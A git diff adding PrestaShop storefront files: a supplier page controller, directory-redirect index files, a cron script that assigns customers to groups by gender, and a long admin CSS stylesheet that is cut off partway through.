/dev/null +++ b/controllers/front/SupplierController.php @@ -0,0 +1,135 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class SupplierControllerCore extends FrontController +{ + public $php_self = 'supplier'; + + protected $supplier; + + public function setMedia() + { + parent::setMedia(); + $this->addCSS(_THEME_CSS_DIR_.'product_list.css'); + + if (Configuration::get('PS_COMPARATOR_MAX_ITEM')) + $this->addJS(_THEME_JS_DIR_.'products-comparison.js'); + } + + public function canonicalRedirection($canonicalURL = '') + { + if (Validate::isLoadedObject($this->supplier)) + parent::canonicalRedirection($this->context->link->getSupplierLink($this->supplier)); + } + + /** + * Initialize supplier controller + * @see FrontController::init() + */ + public function init() + { + parent::init(); + + if ($id_supplier = (int)Tools::getValue('id_supplier')) + { + $this->supplier = new Supplier($id_supplier, $this->context->language->id); + + if (!Validate::isLoadedObject($this->supplier) || !$this->supplier->active) + { + header('HTTP/1.1 404 Not Found'); + header('Status: 404 Not Found'); + $this->errors[] = Tools::displayError('The chosen supplier does not exist.'); + } + else + $this->canonicalRedirection(); + } + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + if (Validate::isLoadedObject($this->supplier) && $this->supplier->active && $this->supplier->isAssociatedToShop()) + { + $this->productSort(); // productSort must be called before assignOne + $this->assignOne(); + $this->setTemplate(_PS_THEME_DIR_.'supplier.tpl'); + } + else + { + $this->assignAll(); + $this->setTemplate(_PS_THEME_DIR_.'supplier-list.tpl'); + } + } + + /** + * Assign template vars if displaying one supplier + */ + protected function assignOne() + { + $this->supplier->description = Tools::nl2br(trim($this->supplier->description)); + $nbProducts = $this->supplier->getProducts($this->supplier->id, null, null, null, $this->orderBy, $this->orderWay, true); + $this->pagination((int)$nbProducts); + $this->context->smarty->assign(array( + 'nb_products' => $nbProducts, + 'products' => $this->supplier->getProducts($this->supplier->id, $this->context->cookie->id_lang, (int)$this->p, (int)$this->n, $this->orderBy, $this->orderWay), + 'path' => ($this->supplier->active ? Tools::safeOutput($this->supplier->name) : ''), + 'supplier' => $this->supplier, + 'comparator_max_item' => Configuration::get('PS_COMPARATOR_MAX_ITEM') + )); + } + + /** + * Assign template vars if displaying the supplier list + */ + protected function assignAll() + { + if (Configuration::get('PS_DISPLAY_SUPPLIERS')) + { + $result = Supplier::getSuppliers(true, $this->context->language->id, true); + $nbProducts = count($result); + $this->pagination($nbProducts); + + $suppliers = Supplier::getSuppliers(true, $this->context->language->id, true, $this->p, $this->n); + foreach ($suppliers as &$row) + $row['image'] = (!file_exists(_PS_SUPP_IMG_DIR_.'/'.$row['id_supplier'].'-'.ImageType::getFormatedName('medium').'.jpg')) ? $this->context->language->iso_code.'-default' : $row['id_supplier']; + + $this->context->smarty->assign(array( + 'pages_nb' => ceil($nbProducts / (int)$this->n), + 'nbSuppliers' => $nbProducts, + 'mediumSize' => Image::getSize(ImageType::getFormatedName('medium')), + 'suppliers_list' => $suppliers, + 'add_prod_display' => Configuration::get('PS_ATTRIBUTE_CATEGORY_DISPLAY'), + )); + } + else + $this->context->smarty->assign('nbSuppliers', 0); + } +} diff --git a/controllers/front/index.php b/controllers/front/index.php new file mode 100755 index 0000000..ca7497f --- /dev/null +++ b/controllers/front/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../'); +exit; \ No newline at end of file diff --git a/controllers/index.php b/controllers/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/controllers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/cron/cron_group_client.php b/cron/cron_group_client.php new file mode 100755 index 0000000..95d25a6 --- /dev/null +++ b/cron/cron_group_client.php @@ -0,0 +1,24 @@ +executeS($sql); + + foreach($customers as $customer){ + if($customer['id_gender'] == 1){ + $insert = 'INSERT INTO ps_customer_group VALUES('. $customer['id_customer'].', 5)'; + }else if($customer['id_gender'] == 2 || $customer['id_gender'] == 3 || $customer['id_gender'] == 0){ + $insert = 'INSERT INTO ps_customer_group VALUES('. $customer['id_customer'].', 6)'; + } + Db::getInstance()->execute($insert); + } + }else{ + die(); + } +} \ No newline at end of file diff --git a/css/admin-ie.css b/css/admin-ie.css new file mode 100755 index 0000000..77a7f4b --- /dev/null +++ b/css/admin-ie.css @@ -0,0 +1,2 @@ +fieldset {position:relative;padding-top:25px} +fieldset legend {position:absolute;top:-0.5em;left:1.1em} \ No newline at end of file diff --git a/css/admin.css b/css/admin.css new file mode 100755 index 0000000..9bbcff5 --- /dev/null +++ b/css/admin.css @@ -0,0 +1,2419 @@ +/* CSS Admin PrestaShop */ +* {font-family: Arial,Verdana,Helvetica,sans-serif} + +body { + margin: 0; + padding: 0; + font-size: 12px; + color: #000; +/* text-align: center; + behavior: url(csshover.htc); */ +} + +.float {float:left} +.floatr {float:right} + +a img { + border: 0; +} + +a { + color: #000; + text-decoration: none; + outline: 0pt; +} + +a:hover { + color: #222; + text-decoration: none; +} + +a.link, a.link:hover { + color: #999999; +} +a.link { + text-decoration: underline; +} +.warn a{ + text-decoration: underline; +} + +img { + vertical-align: middle; +} + +input { + vertical-align: middle; +} + +p { + margin: 0.5em 0; + color:#585A69; +} + +hr { + border: none; + padding: 0; + margin-top: 10px; + margin-bottom: 10px; +} + +.block { + display: block; +} + +/* FONTS */ + +.bold { + font-weight: bold; +} + +legend, th { + font-family : Arial,Helvetica,sans-serif; +} + +h1, h2, h3, h4, h5, h6 { + font-family : Arial,Helvetica,sans-serif; +} + +h1 { + font-size: 1.6em; + margin: 0 0 .67em 0; +} +h2 { + font-size: 1.4em; +} +h3 { + font-size: 1.1em; +} +h4 { +} +h5 { + font-size: 0.83em; +} +h6 { + font-size: 0.67em; +} + +h3.blue { + color: #268CCD; +} + +.red { + color: red; +} + +form { + margin: 0; + padding: 0; +} + +form p { + margin: 0.5em 0 0 0; + padding: 0 0 0.5em 0; +} + +form sup { + color: #CC0000; + font-weight: bold; + vertical-align: text-top; +} +form .simulate-disable-input{ + min-width:127px; + display:inline-block; + padding:3px; + border:1px solid #E0D0B1; + background-color:#dddddd; + color:#666666; + font-size:12px; +} + +.block-mail { + margin:0 0 20px 0; +} +.mail-form { + margin:0 0 0 220px; + width:auto; + color: #7F7F7F; + font-size: 0.85em; +} +.label-subject { + padding:0; + margin:0 0 10px 0; + text-align:left; +} +.label-subject input{ + width:555px; +} +.mail-label table { + width:555px; +} +.mails_field { + margin:0; + background: none repeat scroll 0 0 #FFF; + border: 1px solid #CCCCCC; + font-size: 1.1em; + margin: 20px 0 20px 0; + padding:0; + position:relative; + border-radius:3px; +} + +.mails_field h3{ +background: -moz-linear-gradient(center top , #F9F9F9, #ECECEC) repeat-x scroll left top #ECECEC; + color: #333333; + font-size: 13px; + padding: 4px 6px; + text-align: left; + text-shadow: 0 1px 0 #FFFFFF; + margin:0; + font-size:1em; + padding: 10px 5px; + display:block; +} + +.style-themeModuleMail { + margin: 0; + padding: 0.2em 0.5em; + border: 1px solid #DFD5C3; + background: #FFF6D3; + font-weight: bold; + text-align: left; + cursor : pointer; + font-size: 12px; +} + +.style-themeModuleName { + margin: 0; + padding: 0.2em 0.5em; + border: 1px solid #DFD5C3; + background: #FFF6D3; + font-weight: bold; + text-align: left; + cursor : pointer; + font-size: 12px; +} + +.margin-form { + padding: 0 0 1em 260px; + color: #7F7F7F; + font-size: 0.85em; +} + + +.margin-form .normal-text { + display: block; + padding-top: 0.2em; + font-size: 1.2em; + color: black; +} + +fieldset.width1 .margin-form { + margin: 0 0 1em 130px; +} + +fieldset img { + padding: 0 4px 0 0; + vertical-align: bottom; +} + +label { + float: left; + width: 250px; + padding: 0.2em 0.5em 0 0; + text-align: right; + font-weight: bold; +} + +#preview_import label { + float:left; + font-weight:bold; + padding:0.2em 0 0; + text-align:left; + width:320px; +} + +label.t { + float: none; + clear: none; + padding: 0 5px 0; + margin: 0px; + font-weight: normal; + font-size: 12px; + text-shadow:none; +} +label.child { + float: none; + clear: none; + padding: 0px; + margin: 0px; + font-weight: normal; + font-size: 12px; +} +label.std { + float: none; + margin: 0px; + width: 170px; + display: block; + font-size: 12px; + text-align: right; + font-weight: bold; +} +form div.std { + margin-top: -2em; +} + +fieldset.width1 label { + width: 110px; +} + +label:after { + clear: both; +} + +input, textarea, option { + color: #000; + font-size: 12px; + margin: 0; + padding: 0; +} + +input[type="text"], input[type="password"], input[type="file"], textarea { + padding: 2px 4px; + box-shadow: 0 1px 2px rgba(0, 0, 0, 0.1) inset; +} + +input[type="radio"], input[type="checkbox"] { + background-color:transparent; +} + +input:focus, textarea:focus { + border:1px solid #3293D6; +} + +fieldset { + _position: relative; +} + +legend { + _position: relative; + _top: -2em; + _margin-top: 12px; +} +select optgroup { + background: #fff; + padding: 2px; + color: #000 +} +select optgroup option { + padding: 0 9px; + color: #000 +} + +.lab_modules_positions { + float: none; + text-align: left; + font-weight: normal; + padding: 0; + cursor: pointer; + display: block; + width: 500px; +} + +.lab_modules { + float: none; + text-align: left; + font-weight: normal; + padding-left: 10px; + cursor: pointer; + display: block; + width: 500px; +} + +.lab_modules_positions img { + float:left; +} + + +/* STRUCTURE */ + +#container { + + margin: 0 auto 2em auto; + text-align: left; +} + +#main { + clear: left; + min-height: 600px; + background:#fff; + /*border: 1px solid #999; + border-bottom: none;*/ +} + +#content { + padding: 1.25em; + padding-bottom: 0.5em; + position: relative; +} + +#news { + width: 640px; + border: 1px solid #E0D0B1; +} + +#help { + float: right; + width: 150px; + padding: 4px; + border: 1px solid #DFD5C3; + font-size: 0.9em; +} + +#image { + float: none; + padding: 6px; + background: #fff; + border: 1px solid #DFD5C3; + font-size: 0.9em; + text-align: center; +} +#image img { margin: 0; padding: 0 } + +#id_image_attr +{ + list-style: none; +} + +#product_link { + width: 240px; + float: right; + padding: 4px; + margin-top: 8px; + font-size: 0.9em; + text-align: center; + clear: right; +} + +#help:after, +#image:after { + clear: both; +} + +/* NAV */ + +#nav { + float: right; + margin: 1em 0; + font-size: 1.1em; + font-weight: bold; + vertical-align: middle; +} + +#nav li { + display: inline; + list-style: none; + margin: 0 0 0 2em +} + +#nav img { + vertical-align: bottom; +} + +.warn .pico { + vertical-align: middle; + padding: 0; + margin: 0 +} + +#content .alert { + width: auto; + margin: 0 0 15px 0; + padding: 10px 15px; + border-top: 1px solid #DF7B7B; + border-bottom: 1px solid #DF7B7B; + background-color: #FFE6E6; +} + +#content .warning { + margin: 0 0 15px 0; + line-height: 20px; + padding: 10px 20px 10px 20px; + border-top: 1px solid #FF9900; + border-bottom: 1px solid #FF9900; + background-color: #FFEBCC; +} + +#unhook_button_position_bottom { + overflow: hidden; + width: 100%; + padding-top: 10px; +} + +#unhook_button_position_top { + overflow: hidden; + width: 100%; +} + +#content .conf, #content .warn, #content .error { + color:#383838; + font-size:12px; + font-weight:normal; + margin: 0 0 10px 0; + line-height: 20px; + padding: 13px 5px 5px 40px; + min-height:28px; + border-radius:3px; +} + +#content .error-inline { + color:#ff0000; + font-weight:bold; +} + +#content .conf { + background: #DFF2BF url(../img/admin/icon-valid.png) no-repeat scroll 6px 6px; + border: 1px solid #4F8A10; + color:#4F8A10; +} + +#content .conf img, #content .warn img, #content .error img { + margin:0 5px 0 0; +} + +#content .error { + background: #FFBABA url(../img/admin/icon-cancel.png) no-repeat scroll 6px 6px; + border: 1px solid #CC0000; + color:#D8000C; +} +#content .conf a, #content .warn a, #content .error a { + color:#D8000C; + font-weight: bold; +} +#content .conf a:hover, #content .warn a:hover, #content .error a:hover { + text-decoration: underline; +} + +#ajax_confirmation .error { + background: #FFBABA url(../img/admin/icon-cancel.png) no-repeat scroll 6px 6px; + border: 1px solid #CC0000; + color:#D8000C; + padding:20px; + position:fixed; + bottom:0; + width:100%; + left:0; +} + +#ajax_confirmation .conf { + background: #DFF2BF url(../img/admin/icon-valid.png) no-repeat scroll 6px 6px; + border: 1px solid #4F8A10; + color:#4F8A10; + padding:20px; + position:fixed; + bottom:0; + width:100%; + left:0; +} + +#content .warn { + background: #FEEFB3 url(../img/admin/icon-attention.png) no-repeat scroll 6px 6px; + border: 1px solid #9e6014; + color:#9e6014; +} + +#content .warn h2 { + margin:0; +} + +#content .warn ul li, #content .warn p, #content .warn a { + color:#9e6014; +} + +#content .warn ul li label { + font-weight:normal; + color:#9e6014; + text-shadow:none; +} + +#content .error ol { + clear: both; + margin-top: 5px; + padding-bottom: 0; +} + +#content .error ol li{ + font-weight:200; + margin-left:30px; +} + + +#content .confirm { + background: #DFF2BF url(../img/admin/icon-valid.png) no-repeat scroll 6px 6px; + border: 1px solid #4F8A10; + color:#4F8A10; + border-radius:3px; + +} + + +#content .confirm h3 { + padding: 0 0 0 20px; + background: url(../img/admin/ok.gif) no-repeat 0 0; +} + +#content .warn h3 { + padding: 0 0 0 20px; + background: url(../img/admin/warning.gif) no-repeat 0 0; +} + +#content .error h3 { + padding: 0 0 0 20px; + background: url(../img/admin/warning.gif) no-repeat 0 0; +} + +/* CONTENT - COLUMN */ + +.column { + float: left; + width: 173px; + margin: 0 50px 1.5em 0; + padding: 10px; + -moz-border-radius: 20px; + text-align: center; +} + +#col_1 { + height: 235px; + color: #FFFFFF; + background: #FF8C76 url(../img/admin/col_1.gif) no-repeat; +} + +#col_2 { + height: 235px; + color: #FFFFFF; + background: #FFC44F url(../img/admin/col_2.gif) no-repeat; +} + +#col_3 { + height: 235px; + color: #FFFFFF; + background: #8CFF70 url(../img/admin/col_3.gif) no-repeat; +} + +/* CONTENT - NEWS */ + +#news img { + padding: 0 6px 0 0; + vertical-align: middle; +} + +#news .infos, +#news .content { + margin: 0; + padding: 4px; + font-family: Arial,Helvetica,sans-serif; + font-weight: normal; +} + +.table tr.last td { + border-bottom: none; +} + +.footer_link, .footer_link:hover { + color: #812143; + font-weight: bold; + text-decoration: underline; +} + +/* CLASS */ + +h3.title { + clear: both; + margin: 0; + padding: 4px 10px; + border: 1px solid #E0D0B1; + border: none; +} + +h3.subtitle { + color: #FF8D42; + font-size: 1.2em; +} + +p.infos { + float: right; + margin: 0; + padding: 0; + font-size: 0.9em; + line-height: 1em; + vertical-align: top; +} + +.width1 { + width: 350px; +} + +.width2 { + width: 500px; +} + +.width2bis { + width: 1000px; + position: relative; + margin-left: auto; + margin-right: auto; +} + +.width3 { + width: 600px; +} + +.width4 { + width: 745px; +} + +.width5 { + width: 655px; +} + +.widthfull { + width: 100%; +} + +tr.deleted td { + background-color: #EEEEEE; +} + +.contextnav { + margin: 10px 0; + padding: 3px 6px; + line-height: 1.30em; + border: 1px solid #E0D0B1; +} + +.contextnav img { + vertical-align: text-top; +} + +.contextnavleft { + float: left; + width: 6em; +} + +.contextnavcenter { + text-align: center; +} + +.contextnavcenter a, +.contextnavcenter b { + letter-spacing: 6pt; +} + +.contextnavright { + float: right; + width: 6em; + text-align: right; +} + +.hidden { + height: 1px; + border-width: 1px 0 0 0; + border-style: solid; + border-color: #fff; +} + +.clear { + clear: both; +} + +.flatclear { + clear: both; + height:0px; + line-height:0px; +} + +.space { + margin-top: 13px; +} + +.pspace { + padding-top: 1em; +} + +.double-space { + margin-top: 2em ; +} + +.space-bottom { + margin-bottom: 1em; +} + +.double-bottom-space { + margin-bottom: 2em ; +} + +.left { + text-align: left; +} + +.center { + text-align: center !important; +} + +.right { + text-align: right; +} + +.small { + font-size: 0.85em; +} + +.row { +} + +.uppercase { + text-transform: uppercase; +} + +.noborder { + border: none; +} + +.highlight { + background-color: #FFFF66; + font-weight: bold; +} + +.discount_name { + background: #FFEBCC; + padding: 2px; + text-transform: uppercase; +} + +.displayed_flag { + float: left; + margin: 4px 0 0 4px; +} + +.language_flags { + display: none; + float: left; + background: #FFF; + margin: 4px; + padding: 8px; + width: 90px; + border: 1px solid #555; +} + +.pointer { + cursor: pointer; +} + +.imgm { + margin: 3px 0px 3px 0px; +} + +.green { + color: forestgreen; +} + +.bullet { + display: list-item; + list-style: disc; + margin-left: 30px; +} + +/* access management */ +#ajax_confirmation { + padding-top: 3px; + padding-bottom: 6px; +} + +/* help boxes */ +.hint { + display: none; + position: absolute; + margin-top: 4px; + margin-bottom: 2px; + border: 1px solid #00529B; + padding:15px 5px 15px 40px; + color: #00529B; + background: #BDE5F8 url(../img/admin/icon-info.png) no-repeat 6px 5px; + border-radius:3px; + min-height:15px; + z-index:10; +} +.hint p { + color: #00529B; +} + +.hint .addImageDescription { + font-weight:bold; + font-size:16px; +} + +span.hint {position: relative;} + +div.hint { + position: relative; +} + +div.hint ul li { + color: #00529B; + padding-left: 5px; +} + +table tr th .hint { + display: none; + position: absolute; + margin: 30px 5px 5px 5px; + width: 400px; + border: 1px solid #ECE52F; + padding: 8px 6px 8px 34px; + color: #383838; + background: #FFFBE5 url(../img/admin/icon-info.png) no-repeat 6px 5px; + border-radius:3px; +} + +.hintGroup{ + position: relative; + margin-top: 10px; + margin-bottom: 10px; + border: 1px solid #50B0EC; + padding: 8px 6px 8px 40px; + color: #383838; + background: #DDE9F7 url(../img/admin/help2.png) no-repeat 6px 5px; +} + + +/* The pointer image is added by using another span */ +.hint .hint-pointer { + position: absolute; + left: -10px; + top: 5px; + width: 10px; + height: 19px; +} + +#flagsLanguage img { + padding: 3px; + margin-bottom: -4px; +} + +#flagsLanguage .selected_language { + border: 1px solid #BBB; + padding: 2px; + margin-bottom: -4px; +} + +.disable, .disable:hover { + background-color: #CCCCCC; + color: #AAAAAA; +} + +/* Ajax classes */ +.ajax-warning, .ajax-success, .ajax-error { + border: 1px solid #CCCCCC; + padding: 5px 20px; + margin: 5px; + width: 70%; +} +.ajax-warning { + background-color: #FFBD6F; +} +.ajax-success { + background-color: #9FDF8B; +} +.ajax-error { + background-color: #FF7F84; +} +.ajax-loader { + margin: 5px 10px; +} + +/* tab: AdminProducts */ +.productFieldComment { + color: #7F7F7F; + font-size: 0.8em; +} + +/* Confirm box */ +a.confirm_yes, a.confirm_no { + width: 50px; + margin-left: 60px; + padding: 10px; + border-style: solid; + border-width: 1px; + text-align: center; + font-weight: bold; + color: white; +} +a.confirm_yes { + border-color: red; + background-color: red; +} +a.confirm_no { + border-color: green; + background-color: green; +} + +/* tab: AdminImport */ + +form#import_form { + padding-bottom:22px; + margin-left:15px; + margin-bottom:20px; +} +.table_overflow { + width:900px; + height:500px; + overflow:auto; +} + +.new_message{ + background-color:#FFE35C; +} +.myDragClass { + background-color: #FFAA55; +} +.dragHandle{ +cursor: move; +} + +p#mailResultCheck{ + margin:2px 0; + padding-left:18px; + font-size:12px; +} + +p.ok{ + background:url('../img/admin/enabled.gif') no-repeat top left; + color:green; +} + +p.fail{ + background:url('../img/admin/disabled.gif') no-repeat top left; + font-weight:bold; + color:red; +} +#lang_pack_msg { + border: 1px solid #DFD5C3; + padding:10px; + margin-bottom:10px; +} + +/* TinyMCE */ +span.defaultSkin .mceToolbar { height: auto } +span.defaultSkin table.mceLayout tr.mceFirst td { float: left } + +/* webservice */ +table.permissions { + border:1px solid #DFD5C3; +} +table.permissions th { + background:#FFF6D3; + text-align:center; + height:20px; +} +table.permissions td { + padding:5px; + text-align:center; +} + +/* */ +.path_bar{ + background-color:#EFEFEF; + font-family:Arial; + font-size:13px; + margin-bottom:20px; + padding:5px; +} + +.path_bar a{ + font-weight:700; +} +.adminHeader h1{ + font-family:Arial; + color:#812143; + font-size:18pt; + margin: 0; +} + +#adminHeader hr{ + background-color: #812143; + margin: 0; +} + +#header_shoplist{ + background-image: url("../img/t/AdminShop.gif"); + background-position: 0 3px; + background-repeat: no-repeat; + padding-left: 17px; + height: 20px; +} + + #header_shoplist select.shopList option{ + padding: 2px; + } + + #header_shoplist select.shopList .first{ + font-weight: bold; + background-color: #408BD5; + color: #ffffff; + } + + #header_shoplist select.shopList .group{ + font-weight: bold; + font-style: italic; + padding-left: 10px; + background-color: #C6DEFC; + } + + #header_shoplist select.shopList .shop{ + padding-left: 20px; + background-color: #EAF2FC; + } + +.multishop_info{ + margin-top: 4px; + margin-bottom: 10px; + border: 1px solid #00529B; + padding: 13px 5px 0 40px; + color: #00529B; + background: #BDE5F8 url(../img/admin/icon-info.png) no-repeat 6px 5px; + border-radius:3px; + min-height:32px; +} + +.assoShop{ + width: 100%; + max-width: 600px; + max-height: 300px; + overflow: auto; +} + +.clearfix:after { + content: "."; + display: block; + clear: both; + visibility: hidden; + line-height: 0; + height: 0; +} + +.clearfix { + display: inline-block; +} + +html[xmlns] .clearfix { + display: block; +} + +* html .clearfix { + height: 1%; +} + +#adminHeader #help_img{ + float: right; + margin-top: 5px; +} +#adminpresentation{ + position:relative; + width:100%; +} + +#listpresentation{ + float: left; + width: 100px; +} + +#iframe{ + width: 450px; + height: 220px; + float: left; + margin: 10px; + background: #DDD; + border: 1px solid #666; +} + +#adminpresentation ul li{ + list-style: none; +} + +#list_video{ + float: left; + width: 220px; +} + +#list_video h3{ + color: #882F4F; + font-size: 12pt; + padding-top: 25px; + margin: 0; +} + +#list_video ul{ + text-align: left; + padding: 0; + margin: 0; +} + +#list_video ul li{ + float: left; + width: 195px; + text-decoration: underline; + padding-left: 25px; + margin-top: 5px; +} + +#footer {padding-top:5px} + +#footer_iframe_home{ + position:absolute; + top:0; + right:0; +} + +#footer_iframe_home label{ + float: none; + color: #585A69; + font-weight:normal; + line-height: 15px; +} + +#footer_iframe_home input{ + margin-left: 10px; +} + +#footer_iframe_home a{ + float: right; + margin: 0px 15px 0px 0px; + text-decoration: underline; + color: #903E5B; +} + +#column_left{ + width: 49.1%; + float: left; + padding-top: 5px; +} + +#column_right{ + width: 49.1%; + float: right; + padding:0; +} + +#column_right .table_info { + width:48.1%; + float:left; +} + +#column_right #table_info_last.table_info { + width:48.1%; + float:right; +} + + +.F_list{ + list-style: none; + padding: 0; + margin: 0; +} + + +#first_block a, #second_block a, #third_block a, #fourth_block a, +#fifth_block a, #sixth_block a, #seventh_block a, #eighth_block a{ background: #F8F8F8 none no-repeat scroll center 25px;} + +#first_block a{ + background-image: url('../img/admin/package_go.png'); +} + +#second_block a{ + background-image: url('../img/admin/cart_add.png'); +} + +#third_block a { + background-image: url('../img/admin/book.png'); +} + +#fourth_block a{ + background-image: url('../img/admin/package_add.png'); +} + +#fifth_block a{ + background-image: url('../img/admin/plugin_add.png'); +} + +#sixth_block a{ + background-image: url('../img/admin/cart_remove.png'); +} + +#seventh_block a { + background-image: url('../img/admin/page_white_add.png'); +} + +#eighth_block a{ + background-image: url('../img/admin/abandonedcart.png'); +} + +.F_list li{ + float: left; + margin-right:15px; + margin-bottom:15px; + display: block; +} + +.F_list li h4{ + width: 95px; + font-size: 11px; + font-weight:normal; + margin-top: 55px; + margin-bottom: 0; + line-height: 15px; +} + +.F_list a{ + float:left; + color: #333; + width: 95px; + border: 1px solid #ccc; + padding: 5px; + height: 95px; + text-align:center; + border-radius:3px; +} + +.F_list a:hover{ + border:1px solid #666; +} + +.F_list li p{ + font-size: 8pt; + display:none; +} + +.table_info{ + float: left; + padding:0; + margin:0; + border: 1px solid #ccc; + border-radius:3px; + background-color:#fff; +} + +.table_info h5{ + font-size:16px; + font-weight:normal; + color:#000; + margin:0; + padding:6px; + text-shadow:0 1px 0 #fff; + display:block; + background-image: -moz-linear-gradient(center top , #F9F9F9, #ECECEC); + background: -webkit-gradient(linear, center top ,center bottom, from(#F9F9F9), to(#ECECEC)) repeat scroll 0 0 transparent; + filter: progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#F9F9F9', endColorstr='#ECECEC'); /* IE6 & IE7 */ + -ms-filter: "progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#F9F9F9', endColorstr='#ECECEC')"; /* IE8 */ +} + + +.table_info h5 a, +.admin-box1 h5 a{ + color: #000; + font-size: 8pt; + float: right; + text-decoration: underline; + font-weight: normal; + padding-right: 10px; +} + +.admin-box2 h5 a{ + color: #FFFFFF; + font-size: 8pt; + float: right; + text-decoration: underline; + font-weight: normal; + padding-right: 10px; +} + +.admin-box1 a#optimizationTipsFold img { + padding:5px 0; +} + + + +#table_info_last{ + margin-left: 0; + float: left; +} + +.table_info_details{ + border-collapse: collapse; + border: none; +} + +.table_info_details tr{ + height: 30px; + width: 290px; + color: #000000; + font-weight: bold; + padding-left: 5px; + width: 100%; + text-align: center; + border: none; +} + +.tr_odd { + background-color:#eff4f9; +} + + +.table_info_details tr td.td_align_left{ + font-weight:normal; + text-align: left; + padding-left: 10px; + font-size:13px; +} + +.table_info_details tr td{ + font-size:16px; + text-align: right; + padding-right: 10px; + white-space: nowrap; +} + +#table_info_large{ + margin-top: 20px; + margin-bottom: 20px; + width: 100%; + float: left; + padding: 0; + border: 1px solid #ccc; + border-radius:3px; + background-color:#fff; +} + +#table_info_large h5{ + background-image: -moz-linear-gradient(center top , #F9F9F9, #ECECEC); + background: -webkit-gradient(linear, center top ,center bottom, from(#F9F9F9), to(#ECECEC)) repeat scroll 0 0 transparent; + filter: progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#F9F9F9', endColorstr='#ECECEC'); /* IE6 & IE7 */ + -ms-filter: "progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#F9F9F9', endColorstr='#ECECEC')"; /* IE8 */ + color: #000; + margin: 0; + line-height: 29px; + padding-left: 15px; + font-size: 12pt; + font-weight: normal; + display:block; +} + +#table_info_large h5 a{ + color: #000; + float: right; + font-size: 8pt; + text-decoration: underline; + font-weight: normal; + padding-right: 8px; +} + +#stat_google{ + width: 586px; + height: 175px; + background-color: #fff; + margin: 15px auto; + text-align: center; +} + +.admin-box1{ + background-color:#F8F8F8; + width: 48.1%; + float: left; + padding: 0; + border: 1px solid #ccc; + font-size: 8pt; + margin-bottom: 20px; + border-radius:3px; +} + +.admin-box1 h5{ + background-image: -moz-linear-gradient(center top , #F9F9F9, #ECECEC); + background: -webkit-gradient(linear, center top ,center bottom, from(#F9F9F9), to(#ECECEC)) repeat scroll 0 0 transparent; + color: #333; + text-shadow: 0 1px 0 #fff; + margin: 0; + padding:0; + line-height: 29px; + padding-left: 15px; + font-size: 12pt; + font-weight:normal; + +} + +.admin-box2{ + float: right; + padding: 0; + border: 1px solid #CCCCCC; + font-size: 8pt; + margin-bottom: 20px; + background-color: #f2f2f2; + border-radius:3px; + width:100%; +} + +.admin-box2 h5{ + background-image: -moz-linear-gradient(center top , #F9F9F9, #ECECEC); + background: -webkit-gradient(linear, center top ,center bottom, from(#F9F9F9), to(#ECECEC)) repeat scroll 0 0 transparent; + color: #333; + text-shadow: 0 1px 0 #fff; + margin: 0; + padding:0; + line-height: 29px; + padding-left: 15px; + font-size: 12pt; + font-weight:normal; +} + +#discover_prestashop { width:48.1% !important; float:right !important;} + +.admin-home-box-list li img{ + margin: 0 5px; +} +.admin-home-box-list{ + padding-left:0; + margin: 0px; + list-style: none; +} + +#prestashop_link{ + background: transparent none no-repeat 0px 0px; +} + +.admin-home-box-list li{ + margin: 1px; + padding:5px 0; +} + +#prestashop_link li{ + height: 58px; + margin: 0px; +} + +.admin-home-box-list li p{ + font-family: Georgia, 'Lucida Grande', Arial; + font-style:italic; + font-size:13px; + margin: 2px 0; + padding: 0px 5px 0px 15px; +} +.admin-home-box-list li a{ + color: #812143; + line-height: 18px; + font-size: 12px; + text-align: left; +} + +#prestashop_link li a{ + color: #3A6EA7; + margin-left: 15px; + font-weight: bold; + text-decoration: underline; + line-height: 18px; + font-size: 8.5pt; + text-align: left; + float:left; +} + +#table_customer{ + border:1px solid #ccc; + padding: 0px; + border-spacing: 0px; + border-radius:3px; + background-color:#fff; +} + +#table_customer thead span{ + background-image: -moz-linear-gradient(center top , #F9F9F9, #ECECEC); + background: -webkit-gradient(linear, center top ,center bottom, from(#F9F9F9), to(#ECECEC)) repeat scroll 0 0 transparent; + filter: progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#F9F9F9', endColorstr='#ECECEC'); /* IE6 & IE7 */ + -ms-filter: "progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#F9F9F9', endColorstr='#ECECEC')"; /* IE8 */ + color: #000; + text-shadow: 0 1px 0 #fff; + line-height: 35px; + display: block; + height: 39px; + border-left: none; + border-right: none; +} + +#table_customer thead span.first{ +text-align: center; +} + +#table_customer thead span.last{ +} + +#table_customer thead th{ + margin: 0; +} + +#order_id{ + width: 52px; + text-align: center; +} + +#order_customer{ + width: 175px; +} + +#order_status{ + width: 130px; +} + +#order_total{ + width: 100px; +} + +.order_action{ + text-align: center; +} + +#order_line1{ + background-color: #EFEFEF; +} + +#table_customer tbody{ + font-size: 8pt; +} + +#table_customer tbody tr td.order_td_first{ + text-align: center; + padding: 0; + height: 35px; +} + +#table_customer tbody tr td{ + border: none; + height: 35px; + font-size:12px; +} + +#table_info_news{ + width: 310px; + float: left; + padding: 1px; + border: 1px 